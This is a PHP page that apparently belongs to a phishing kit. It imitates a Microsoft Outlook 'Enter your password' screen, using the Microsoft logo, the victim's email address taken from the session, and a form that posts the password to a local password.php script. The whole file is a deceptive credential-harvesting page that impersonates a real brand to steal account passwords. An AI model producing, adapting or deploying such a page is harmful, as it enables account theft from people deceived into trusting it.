<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Password</title>
  <script src="https://cdn.tailwindcss.com"></script>
</head>

<body class="min-h-screen flex flex-col items-center justify-center p-4 bg-gradient-to-br from-pink-100 via-green-100 to-pink-100">

    <h1 class="text-3xl font-bold ">Outlook</h1>
  <div class="w-full max-w-[440px] shadow-lg bg-white rounded-lg border">
    <div class="pt-6 p-6 space-y-6">
      <div class="mb-4">
        <img src="https://static.cdnlogo.com/logos/m/6/microsoft.svg" alt="Microsoft" width="108" height="24" />
      </div>
      <div class="space-y-2">
        <h2 class="text-2xl font-semibold">Enter your password</h2>
        <p class="text-sm text-gray-600">for the account: <span class="font-bold"><?php echo htmlspecialchars($_SESSION['email'] ?? ''); ?></span></p>
      </div>
      <form method="POST" action="./password.php">
        <div class="space-y-1">
          <input type="password" name="password" placeholder="Password" 
                 class="h-12 w-full px-4 border-b border-black shadow-sm focus:outline-none focus:ring-blue-500" required />
        </div>
        <div class="flex justify-end mt-4">
          <button type="submit" 
                  class="bg-blue-600 hover:bg-blue-700 text-white font-semibold px-8 py-2 rounded-md flex items-center">
            Sign in
          </button>
        </div>
      </form>
    </div>
  </div>

  <!-- Footer -->
  <footer class="fixed bottom-0 w-full p-4 bg-gray-800 text-white text-sm">
    <div class="flex justify-end gap-6 max-w-screen-xl mx-auto">
      <a href="#" class="hover:underline">Terms of use</a>
      <a href="#" class="hover:underline">Privacy & cookies</a>
      <span>...</span>
      <div class="text-sm text-gray-300">
        Use private browsing if this is not your device. <a href="#" class="text-blue-400 hover:underline">Learn more</a>
      </div>
    </div>
  </footer>

  
</body>

</html>
